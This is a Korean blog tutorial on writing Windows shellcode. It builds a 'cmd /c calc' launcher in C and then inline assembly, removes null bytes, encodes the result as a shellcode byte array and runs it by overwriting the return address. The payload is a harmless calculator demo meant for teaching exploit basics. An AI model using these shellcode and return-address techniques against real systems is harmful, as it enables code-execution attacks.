쉘코드의 원리와 구현

[출처] http://blog.naver.com/PostView.nhn?blogId=nobless_05&logNo=50093753895

 

 

        

#include <stdio.h>

#include "windows.h"

 

void main()

{

    char cmdbuf[12];

    cmdbuf[0]='c';

    cmdbuf[1]='m';

    cmdbuf[2]='d';

    cmdbuf[3]=' ';        // space

    cmdbuf[4]='/';

    cmdbuf[5]='c';

    cmdbuf[6]=' ';        // space                                                               

    cmdbuf[7]='c';

    cmdbuf[8]='a';

    cmdbuf[9]='l';

    cmdbuf[10]='c';

    cmdbuf[11]='\ 0';

    WinExec(cmdbuf,SW_SHOWNORMAL);

    exit(1);

}

 

프로그램 구성은 문자열 공간을 12바이트 만들고, 각 배열에 순서대로 계산기 실행 명령을 넣고 해당 명령을 WinExec()함수에

입력하여 계산기를 실행 하는 코드입니다. 윈도우에서는 cmd.exe /c calc을 입력하면 계산기가 실행됩니다.

cmdbuff[3]과 cmdbuff[6]에 스페이스 대신에 임시 코드를 넣었고, cmdbuff[11]에는 명령어 문자열의 마지막임을 알리는

널코드(\ 0)을 사용하였습니다.

 

 

위 코드를 최적화 코드로 다시 간소화 하면 아래와 같습니다.(VC++기준)

 

#include <stdio.h>

#include "windows.h"

 

void main()

{

    _asm{

        push        ebp 

        mov         ebp,esp

        sub         esp,20h

 

        mov         byte ptr [ebp-14h],63h

        mov         byte ptr [ebp-13h],6Dh

        mov         byte ptr [ebp-12h],64h

        mov         byte ptr [ebp-11h],20h

        mov         byte ptr [ebp-10h],2Fh

        mov         byte ptr [ebp-0Fh],63h

        mov         byte ptr [ebp-0Eh],20h

        mov         byte ptr [ebp-0Dh],63h

        mov         byte ptr [ebp-0Ch],61h

        mov         byte ptr [ebp-0Bh],6Ch

        mov         byte ptr [ebp-0Ah],63h

 

        xor    eax,eax

       

        push        1   

        lea         eax,[ebp-14h]

        push        eax 

        mov    eax, 0x77a8e76d

        call    eax

       

        push        1   

        mov    eax,0x77a52aef

        call        eax

    }

}

함수 프롤로그 부분에 sub esp, 20h로 변경하였는데,

이는 opcode내에 널코드(00)가 포함되면 예기치 못한 중단이 발생할 수 있기 때문입니다.

그래서 이를 방지하기 위해 널코드가 발생하지 않으면서도 코드 삽입을 위한 크기를 갖는 20h로 변경하였습니다.

 

그리고 널코드를 제거하기 위해서 xor를 사용하여 eax값을 0으로 초기화 하였습니다.

이러한 방법을 사용하면 계산기 실행명령어 마지막을 알리느느 "\ 0"(널코드) 를 넣지 않아도 이미 xor를 통해 eax값을 미리 0으로 채웁니다.

 

0x77a8e76d/0x77a52aef 부분은 WinExec 함수와 ExitProcess 함수의 메모리 주소값입니다.

함수에 대한 주소는 각 컴퓨터나 운영체제 마다 다르므로 변경해줘야 합니다.

 

함수주소를 확인하기 위해서는 PEVIEW Tool을 이용하면 됩니다.

PEView로 함수 주소 찾기 : http://blog.naver.com/nobless_05/50093754832

 

 

아래는 함수 주소를 소스코드를 통해 확인하는 방법입니다.

사용 예) ./[코드이름.exe] kernel32.dll WinExec

 

 

 

 

 

이제 쉘 코드를 작성해 보겠습니다.

#include <windows.h>
char shellcode[]=
"\x55"
"\x8B\xEC"
"\x83\xEC\x20"
"\xC6\x45\xEC\x63"
"\xC6\x45\xED\x6D"
"\xC6\x45\xEE\x64"
"\xC6\x45\xEF\x20"
"\xC6\x45\xF0\x2F"
"\xC6\x45\xF1\x63"
"\xC6\x45\xF2\x20"
"\xC6\x45\xF3\x63"
"\xC6\x45\xF4\x61"
"\xC6\x45\xF5\x6C"
"\xC6\x45\xF6\x63"
"\x33\xC0"
"\x6A\x01"
"\x8D\x45\xEC"
"\x50"
"\xB8\x6D\xE7\xA8\x77"
"\xFF\xD0"
"\x6A\x01"
"\xB8\xEF\x2A\xA5\x77"
"\xFF\xD0";

int main()
{
 int *ret;
 ret=(int *)&ret+2;
 (*ret)=(int)shellcode;
}

 

eip값을 변조해서 그 안에 shellcode를 집어 넣은 코드입니다.

 

 

 

참고 : 시스템 해킹의 원리와 이해(저자-최경철)